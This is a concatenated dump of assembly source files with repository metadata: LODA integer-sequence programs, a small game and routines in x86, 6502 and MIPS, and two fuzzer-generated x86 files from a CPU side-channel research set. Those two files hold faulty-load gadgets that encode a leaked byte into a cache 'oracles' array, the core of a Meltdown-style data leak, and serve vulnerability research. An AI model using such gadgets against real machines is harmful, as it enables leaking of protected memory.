; 6,27,63,114,180,261,357,468,594,735,891,1062,1248,1449,1665,1896,2142,2403,2679,2970,3276,3597,3933,4284,4650,5031,5427,5838,6264,6705,7161,7632,8118,8619,9135,9666,10212,10773,11349,11940,12546,13167,13803,14454,15120,15801,16497,17208,17934,18675,19431,20202,20988,21789,22605,23436,24282,25143,26019,26910,27816,28737,29673,30624,31590,32571,33567,34578,35604,36645,37701,38772,39858,40959,42075,43206,44352,45513,46689,47880,49086,50307,51543,52794,54060,55341,56637,57948,59274,60615,61971,63342,64728,66129,67545,68976,70422,71883,73359,74850,76356,77877,79413,80964,82530,84111,85707,87318,88944,90585,92241,93912,95598,97299,99015,100746,102492,104253,106029,107820,109626,111447,113283,115134,117000,118881,120777,122688,124614,126555,128511,130482,132468,134469,136485,138516,140562,142623,144699,146790,148896,151017,153153,155304,157470,159651,161847,164058,166284,168525,170781,173052,175338,177639,179955,182286,184632,186993,189369,191760,194166,196587,199023,201474,203940,206421,208917,211428,213954,216495,219051,221622,224208,226809,229425,232056,234702,237363,240039,242730,245436,248157,250893,253644,256410,259191,261987,264798,267624,270465,273321,276192,279078,281979,284895,287826,290772,293733,296709,299700,302706,305727,308763,311814,314880,317961,321057,324168,327294,330435,333591,336762,339948,343149,346365,349596,352842,356103,359379,362670,365976,369297,372633,375984,379350,382731,386127,389538,392964,396405,399861,403332,406818,410319,413835,417366,420912,424473,428049,431640,435246,438867,442503,446154,449820,453501,457197,460908,464634,468375
mul $0,5
add $0,5
bin $0,2
mov $1,$0
div $1,5
mul $1,3
| 167.5 | 1,585 | 0.823284 |
1a8b56216c27303f65d25f3844ae2cd5178da801 | 4,876 | asm | Assembly | Transynther/x86/_processed/NC/_ht_/i7-7700_9_0xca.log_21829_725.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NC/_ht_/i7-7700_9_0xca.log_21829_725.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NC/_ht_/i7-7700_9_0xca.log_21829_725.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r14
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x16790, %rdx
nop
nop
nop
and $59391, %r14
movb $0x61, (%rdx)
nop
nop
nop
nop
nop
sub $37794, %r13
lea addresses_D_ht+0x5a8c, %rsi
lea addresses_UC_ht+0x1b710, %rdi
nop
xor %r14, %r14
mov $94, %rcx
rep movsl
nop
nop
and $23853, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
// Store
lea addresses_PSE+0xb60a, %rcx
nop
sub $21564, %r15
movl $0x51525354, (%rcx)
nop
nop
inc %rax
// Load
lea addresses_RW+0xae90, %rdx
nop
sub %rdi, %rdi
movups (%rdx), %xmm3
vpextrq $0, %xmm3, %r15
nop
nop
nop
nop
nop
sub $56805, %rdi
// Faulty Load
mov $0x4dd2a0000000390, %rdi
sub %rcx, %rcx
movups (%rdi), %xmm0
vpextrq $1, %xmm0, %rdx
lea oracles, %r15
and $0xff, %rdx
shlq $12, %rdx
mov (%r15,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'congruent': 1, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_PSE'}}
{'src': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 1, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 7, 'same': False, 'type': 'addresses_UC_ht'}}
{'46': 21829}
46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46 46
*/
| 46.884615 | 2,999 | 0.658942 |
03dab7772e3860be7ea1b4ded17e93a9b652e988 | 7,627 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2.log_8769_1371.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2.log_8769_1371.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_ht_zr_/i7-8650U_0xd2.log_8769_1371.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x1e1e3, %r11
nop
nop
nop
nop
nop
sub %r8, %r8
movb (%r11), %r12b
nop
add %rdx, %rdx
lea addresses_WC_ht+0x1a378, %rsi
lea addresses_WC_ht+0x12bb8, %rdi
nop
nop
nop
cmp %r8, %r8
mov $48, %rcx
rep movsw
nop
nop
inc %rsi
lea addresses_A_ht+0x5658, %rsi
cmp %r12, %r12
movw $0x6162, (%rsi)
nop
nop
nop
nop
add %rdx, %rdx
lea addresses_WC_ht+0x14778, %rsi
lea addresses_UC_ht+0x1e48c, %rdi
nop
nop
nop
nop
xor %r12, %r12
mov $29, %rcx
rep movsw
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_A_ht+0x153cc, %rcx
nop
nop
sub %r8, %r8
movb $0x61, (%rcx)
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_WC_ht+0x10b78, %rsi
lea addresses_D_ht+0xe7b2, %rdi
nop
nop
sub %r9, %r9
mov $100, %rcx
rep movsw
nop
nop
add %r12, %r12
lea addresses_normal_ht+0x8044, %rdi
nop
nop
nop
nop
sub $54419, %rsi
mov (%rdi), %dx
nop
nop
sub $7590, %r8
lea addresses_normal_ht+0xe778, %r12
nop
cmp %rsi, %rsi
movl $0x61626364, (%r12)
nop
nop
nop
nop
nop
and %r9, %r9
lea addresses_WT_ht+0x18cac, %rsi
lea addresses_D_ht+0x6e2c, %rdi
nop
nop
nop
nop
nop
xor %r8, %r8
mov $109, %rcx
rep movsw
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x18220, %rsi
lea addresses_UC_ht+0x66f8, %rdi
clflush (%rsi)
nop
nop
nop
sub %r8, %r8
mov $51, %rcx
rep movsq
nop
nop
nop
nop
xor $18635, %r8
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r14
push %r8
push %r9
push %rbp
push %rsi
// Store
lea addresses_WT+0x12948, %rsi
clflush (%rsi)
nop
nop
inc %r14
mov $0x5152535455565758, %r9
movq %r9, %xmm1
movups %xmm1, (%rsi)
sub %r13, %r13
// Store
lea addresses_WC+0x1dce2, %r14
nop
nop
inc %r8
movl $0x51525354, (%r14)
nop
nop
nop
add $27817, %r13
// Store
lea addresses_PSE+0x6978, %r14
nop
nop
nop
nop
and $55595, %rsi
movl $0x51525354, (%r14)
nop
nop
nop
nop
nop
inc %r8
// Store
mov $0x68b8090000000378, %rsi
nop
nop
nop
nop
and %r11, %r11
mov $0x5152535455565758, %r9
movq %r9, %xmm5
movups %xmm5, (%rsi)
nop
nop
nop
nop
nop
sub %r9, %r9
// Faulty Load
lea addresses_D+0x14778, %rsi
nop
add %r13, %r13
vmovaps (%rsi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rbp
lea oracles, %r9
and $0xff, %rbp
shlq $12, %rbp
mov (%r9,%rbp,1), %rbp
pop %rsi
pop %rbp
pop %r9
pop %r8
pop %r14
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 8, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 4, 'AVXalign': False, 'NT': True, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 7, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_NC', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'size': 32, 'AVXalign': True, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 2, 'AVXalign': False, 'NT': True, 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 0, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': True, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'00': 2318, '49': 5448, '48': 1003}
00 49 00 49 00 49 49 49 49 49 00 49 49 00 49 49 48 49 49 49 49 49 49 49 00 00 00 49 00 49 49 00 49 49 49 49 49 00 49 00 49 00 00 00 49 49 49 48 49 49 49 49 00 49 49 00 49 49 49 49 00 49 49 49 00 49 49 49 00 49 00 49 49 49 49 49 49 00 48 49 49 48 49 49 00 49 00 49 00 00 49 49 49 00 49 49 49 49 00 00 49 49 49 49 00 49 48 49 49 00 00 00 49 00 49 00 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 49 00 00 49 00 48 49 49 49 00 49 49 48 49 49 49 00 49 49 49 49 49 49 49 49 00 49 49 00 49 49 00 00 49 49 48 00 49 49 00 49 49 49 49 49 49 00 49 49 49 49 48 49 49 49 49 49 49 49 49 00 00 48 49 00 49 00 00 49 49 48 49 00 49 00 49 49 49 49 00 49 00 49 00 48 49 48 49 00 00 49 48 49 49 48 49 49 48 49 49 49 48 49 49 49 48 00 49 49 49 49 49 49 49 00 49 49 48 00 49 49 48 00 48 49 00 49 49 00 48 49 00 49 49 48 00 49 00 48 49 00 48 49 49 00 49 48 00 49 48 49 49 49 00 49 00 00 49 00 49 49 00 49 48 49 00 49 49 49 49 49 49 49 00 48 49 00 48 49 00 48 49 00 49 49 49 00 48 48 49 49 00 49 49 00 00 00 00 49 49 49 00 49 49 49 48 49 00 49 00 49 49 49 00 49 48 49 00 49 49 49 00 49 49 49 00 49 00 49 48 49 49 00 49 49 49 49 49 49 49 49 48 49 48 49 49 00 49 49 00 49 49 49 49 49 49 00 49 49 00 49 49 49 00 00 48 49 00 49 49 00 49 49 49 00 49 00 00 00 00 49 49 49 00 49 49 00 49 49 49 49 49 49 49 00 49 49 00 48 49 49 49 00 49 49 00 49 49 00 00 48 49 49 49 00 49 49 00 49 00 00 00 49 49 49 49 49 00 49 49 49 49 00 48 00 48 49 49 48 49 49 49 00 49 49 00 49 49 49 49 49 00 49 49 49 49 49 00 49 00 48 49 00 49 48 00 00 48 49 48 49 49 49 49 49 49 00 49 49 48 49 00 00 49 49 00 49 49 00 00 00 49 48 48 49 49 00 48 49 00 49 00 49 49 00 49 00 48 49 49 49 49 49 49 49 48 00 49 00 49 49 49 49 49 49 00 49 49 49 49 00 00 00 49 49 49 49 49 49 49 49 49 49 49 49 49 00 00 49 00 48 49 00 49 00 49 00 00 49 00 49 49 49 00 49 48 49 49 49 49 00 00 49 49 00 00 49 49 49 49 48 00 49 00 49 49 49 49 49 49 00 49 49 00 00 49 49 00 00 49 49 49 00 49 49 00 00 49 00 00 00 49 00 00 49 00 49 49 49 49 49 49 49 49 49 00 49 49 49 49 49 49 49 00 49 49 49 49 00 00 49 00 49 49 00 48 49 49 49 49 49 00 49 00 00 00 49 49 49 48 48 49 49 49 00 49 00 00 49 49 49 49 49 49 00 48 49 49 49 00 49 00 49 48 49 49 00 49 49 00 00 48 49 00 00 49 49 49 49 49 49 49 49 49 49 49 00 49 49 49 49 00 00 48 49 00 49 49 49 49 49 00 00 49 49 49 49 49 49 00 49 49 49 49 00 49 49 49 49 49 48 00 49 49 49 00 00 00 49 00 00 49 49 49 00 49 49 48 49 00 49 48 49 49 49 49 00 49 00 00 49 48 49 49 49 49 00 49 00 49 49 49 49 49 49 00 49 49 00 00 48 49 49 49 49 49 00 00 49 00 49 49 48 49 49 49 48 00 49 49 00 49 49 49 49 00 49 49 48 49 49 00 48 00 49 00 49 49 49 49 00 49 49 00 49 00 48 49 49 49 49 49 00 49 49 00 49 00 49 49 49 49 49 49 48 49 49 00 00 49 49 49 49 48 48 49 49 49 00 49 49 49 49 49 00 48 00 00 49 49 49 49 00 49 49 49 48 00 49 49 49 49 49 00 49 48 49 00 49 49 49 00 49 00 00 48 49 49 49 49 49 49 49 48 48 00 49 49 49 49 00 49 00 48 49 49 49 00 49 49 00 48 00 49 49 00 49 00 49 49 49 49 49 00 49 48 00 49 49 49 49 49 49 49 49 49 49 00 48 49 49 00 49 49 49 49 48 49 49
*/
| 31.647303 | 2,999 | 0.655304 |
f2123a5ca8e08bb9fefd99f2ef578922fe74a1dc | 446 | asm | Assembly | programs/oeis/067/A067342.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/067/A067342.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/067/A067342.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A067342: Sum of decimal digits of sum of divisors of n.
; 1,3,4,7,6,3,8,6,4,9,3,10,5,6,6,4,9,12,2,6,5,9,6,6,4,6,4,11,3,9,5,9,12,9,12,10,11,6,11,9,6,15,8,12,15,9,12,7,12,12,9,17,9,3,9,3,8,9,6,15,8,15,5,10,12,9,14,9,15,9,9,15,11,6,7,5,15,15,8,15,4,9,12,8,9,6,3,9,9,9,4,15,11,9,3,9,17,9,12,10
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
lpb $0
mov $2,$0
div $0,10
mod $2,10
add $1,$2
lpe
mov $0,$1
| 37.166667 | 233 | 0.591928 |
3b2edd84bbb1b51bc5b9f606eb0198c222a56097 | 477 | asm | Assembly | invaders.asm | TheRalph/MBR_Inviders | 421728ef4c17ce53d227ff28676fbfd8545bb8b2 | [
"BSD-3-Clause"
] | 3 | 2016-07-11T19:51:52.000Z | 2016-07-11T19:53:30.000Z | invaders.asm | TheRalph/MBR_Inviders | 421728ef4c17ce53d227ff28676fbfd8545bb8b2 | [
"BSD-3-Clause"
] | null | null | null | invaders.asm | TheRalph/MBR_Inviders | 421728ef4c17ce53d227ff28676fbfd8545bb8b2 | [
"BSD-3-Clause"
] | null | null | null | ;*******************************************************************************
; Assemble with nasm -o invader.com -f bin invader.asm
;*******************************************************************************
org 0100h
%define USE_CLEARSCR
;%define USE_DRAW_SPRITE
%define USE_DRAW_MONOCHROM_ICON
%define USE_VSYNC
;%define USE_PRINTSTR
%define USE_PRINTINT
%include 'mydrawM.inc'
%include 'mainInva.inc'
%include 'mydrawF.inc'
end:
mov ax, 0x4C00
int 0x21
| 22.714286 | 80 | 0.505241 |
da81b3dd02cb02d3731be4c19de6f9bfada14189 | 20 | asm | Assembly | tests/data_unsized/2.asm | NullMember/customasm | 6e34d6432583a41278e6b3596f1817ae82149531 | [
"Apache-2.0"
] | 414 | 2016-10-14T22:39:20.000Z | 2022-03-30T07:52:44.000Z | tests/data_unsized/2.asm | NullMember/customasm | 6e34d6432583a41278e6b3596f1817ae82149531 | [
"Apache-2.0"
] | 100 | 2018-03-22T16:12:24.000Z | 2022-03-26T09:19:23.000Z | tests/data_unsized/2.asm | NullMember/customasm | 6e34d6432583a41278e6b3596f1817ae82149531 | [
"Apache-2.0"
] | 47 | 2017-06-29T15:12:13.000Z | 2022-03-10T04:50:51.000Z | #d 0x0000 ; = 0x0000 | 20 | 20 | 0.65 |
741308c1b78645471acae2c4895252cc63a3f66e | 2,700 | asm | Assembly | src/main.asm | hundredrabbits/Donsol | 0945e1d4f3a7bad1c1a71a48b70ec86f80188a38 | [
"MIT"
] | 113 | 2016-12-01T14:03:21.000Z | 2022-02-18T09:12:49.000Z | src/main.asm | hundredrabbits/Donsol | 0945e1d4f3a7bad1c1a71a48b70ec86f80188a38 | [
"MIT"
] | 18 | 2016-11-30T15:15:38.000Z | 2020-04-16T10:30:30.000Z | src/main.asm | hundredrabbits/Donsol | 0945e1d4f3a7bad1c1a71a48b70ec86f80188a38 | [
"MIT"
] | 20 | 2016-11-30T02:59:14.000Z | 2022-02-18T09:13:17.000Z |
;; main
;; timers
handleTimer: ; when auto@room is 1, do post flip actions
LDA auto@room
CMP #$01
BNE @skip
DEC auto@room
JSR flipPost@room
@skip: ;
;; skip if no input
handleJoy: ;
LDA next@input
CMP #$00
BNE releaseJoy
INC seed1@deck ; increment seed1
JMP __MAIN
;; release input, store in regA
releaseJoy: ;
LDA next@input
LDX #$00 ; release
STX next@input
INC seed2@deck ; increment seed2 on input
;;
checkJoy: ;
LDX view@game
CPX #$00
BNE @game
@splash: ;
CMP BUTTON_RIGHT
BEQ onRight@splash
CMP BUTTON_LEFT
BEQ onLeft@splash
CMP BUTTON_B
BEQ onB@splash
CMP BUTTON_A
BEQ onA@splash
JMP __MAIN
@game: ;
CMP BUTTON_RIGHT
BEQ onRight@game
CMP BUTTON_LEFT
BEQ onLeft@game
CMP BUTTON_SELECT
BEQ onSelect@game
CMP BUTTON_B
BEQ onB@game
CMP BUTTON_A
BEQ onA@game
JMP __MAIN
;;
onRight@splash: ;
INC cursor@splash
LDA cursor@splash
CMP #$03
BNE @done
; wrap around
LDA #$00
STA cursor@splash
@done: ;
LDA #$01 ; request draw for cursor
STA reqdraw_cursor
JMP __MAIN
;;
onLeft@splash: ;
DEC cursor@splash
LDA cursor@splash
CMP #$FF
BNE @done
; wrap around
LDA #$02
STA cursor@splash
@done: ;
LDA #$01 ; request draw for cursor
STA reqdraw_cursor
JMP __MAIN
;;
onB@splash: ;
LDA cursor@splash
STA difficulty@player ; store difficulty
JSR show@game
JMP __MAIN
;;
onA@splash: ;
LDA cursor@splash
STA difficulty@player ; store difficulty
JSR show@game
JMP __MAIN
;;
onRight@game: ;
INC cursor@game
LDA cursor@game
CMP #$04
BNE @done
; wrap around
LDA #$00
STA cursor@game
@done: ;
LDA #$01 ; request draw for cursor
STA reqdraw_cursor
STA reqdraw_name
JMP __MAIN
;;
onLeft@game: ;
DEC cursor@game
LDA cursor@game
CMP #$FF
BNE @done
; wrap around
LDA #$03
STA cursor@game
@done: ;
LDA #$01 ; request draw for cursor
STA reqdraw_cursor
STA reqdraw_name
JMP __MAIN
;;
onSelect@game: ;
JSR show@splash
JMP __MAIN
;;
onB@game: ;
JSR tryRun@player
JMP __MAIN
;;
onA@game: ;
JSR tryFlip@room ; flip selected card
JMP __MAIN | 17.532468 | 74 | 0.528889 |
eb9dea24c09fa0d66ff04caa84fa6d415c4a4b2d | 349 | asm | Assembly | src/test/asm/foo/bar/pe_gui.asm | dykstrom/fasm-ant | 91e157819df0640bdebd061dcf56ac0859fcc7f4 | [
"Apache-2.0"
] | null | null | null | src/test/asm/foo/bar/pe_gui.asm | dykstrom/fasm-ant | 91e157819df0640bdebd061dcf56ac0859fcc7f4 | [
"Apache-2.0"
] | null | null | null | src/test/asm/foo/bar/pe_gui.asm | dykstrom/fasm-ant | 91e157819df0640bdebd061dcf56ac0859fcc7f4 | [
"Apache-2.0"
] | null | null | null | format pe gui 4.0
include 'win32a.inc'
invoke MessageBoxA,0,message,title,MB_ICONQUESTION+MB_YESNO
invoke ExitProcess,0
message db 'Can you see this message box?',0
title db 'Question',0
data import
library kernel32,'KERNEL32.DLL',user32,'USER32.DLL'
import kernel32,ExitProcess,'ExitProcess'
import user32,MessageBoxA,'MessageBoxA'
end data
| 18.368421 | 59 | 0.793696 |
35b8ad867d0b94063f9dac97da57e4322f8e8260 | 186 | asm | Assembly | src/libs/strings/strlen.asm | QFSW/2048x86_64 | 6b75580cf8afed0436e9fbec76418a1df30f6491 | [
"MIT"
] | 6 | 2019-07-11T10:27:20.000Z | 2021-11-08T11:08:52.000Z | src/libs/strings/strlen.asm | QFSW/2048x86_64 | 6b75580cf8afed0436e9fbec76418a1df30f6491 | [
"MIT"
] | 2 | 2019-07-10T23:21:08.000Z | 2019-07-11T00:25:51.000Z | src/libs/strings/strlen.asm | QFSW/2048x86_64 | 6b75580cf8afed0436e9fbec76418a1df30f6491 | [
"MIT"
] | null | null | null | PUBLIC strlen
.code
; gets the length of a string
; RCX = str
strlen PROC
MOV RAX, -1 ; length ctr
sloop:
INC RAX
MOV DL, [RCX + RAX]
CMP DL, 0
JNE sloop
RET
strlen ENDP
END | 10.333333 | 29 | 0.655914 |
a5420b98e4d37e5ff0374a90068e1922b76ed082 | 3,183 | asm | Assembly | MIPS/bubblesort.asm | DLZaan/public | c71c4d86f0b06500858ae266c04c1c0436064d0f | [
"MIT"
] | null | null | null | MIPS/bubblesort.asm | DLZaan/public | c71c4d86f0b06500858ae266c04c1c0436064d0f | [
"MIT"
] | null | null | null | MIPS/bubblesort.asm | DLZaan/public | c71c4d86f0b06500858ae266c04c1c0436064d0f | [
"MIT"
] | null | null | null | #this example should teach you why to use inline functions
#s0->size of array in bytes (4*size of ints)
#s1->values of array
.text
.globl main
main:
jal inputArray
move $a0, $v0 #argument 0=size in ints
move $a1, $v1 #argument 1=array
jal bubbleSort
move $a0, $v0 #argument 0=size in ints
move $a1, $v1 #argument 1=array
jal printArray
li $v0, 10 # exit
syscall
bubbleSort:
#t0->outer loop iterator
#t1->outer loop stopper
#t2->inner loop adress iterator
#t3->inner loop stopper, end of array
move $s0, $a0 #argument 0=size in ints
move $s1, $a1 #argument 1=array
li $t0, 0
move $t1, $s0
subi $t1, $t1, 4
for3: beq $t0, $t1, exit3 #while (t0!=t1)
move $t2, $s1
add $t3, $t2, $t1 #pointer to end of array
sub $t3, $t3 ,$t0 #pointer to end of unsorted part of array
for4: beq $t2, $t3, exit4 #while (t2!=t3)
lw $a0, ($t2) #a0->first number to compare
addi $t2, $t2, 4 #go to next element
lw $a1, ($t2) #a1->second number to compare
subi $t2, $t2, 4 #get back with iterator
bgt $a1, $a0, exit6 #if (a1>a0) go to exit6 (do nothing, right order)
addi $sp, $sp, -4
sw $ra, ($sp)
jal swap
lw $ra, ($sp)
addi $sp, $sp, 4
sw $v0, ($t2) #a0->first number to compare
addi $t2, $t2, 4 #go to next element
sw $v1, ($t2) #a1->second number to compare
subi $t2, $t2, 4
exit6:
addi $t2, $t2, 4
j for4
exit4: #end of inner loop
addi $t0, $t0, 4
j for3
exit3: #end of outer loop
move $v0, $s0 #return value 0 = size in ints
move $v1, $s1 #return value 1 = array
jr $ra
printArray:
move $s0, $a0 #argument 0=size in ints
move $s1, $a1 #argument 1=array
li $t0, 0 #loop iterator=0
move $t1, $s1 #array iterator
for2: beq $t0, $s0, exit2 #while(t0!=s0)
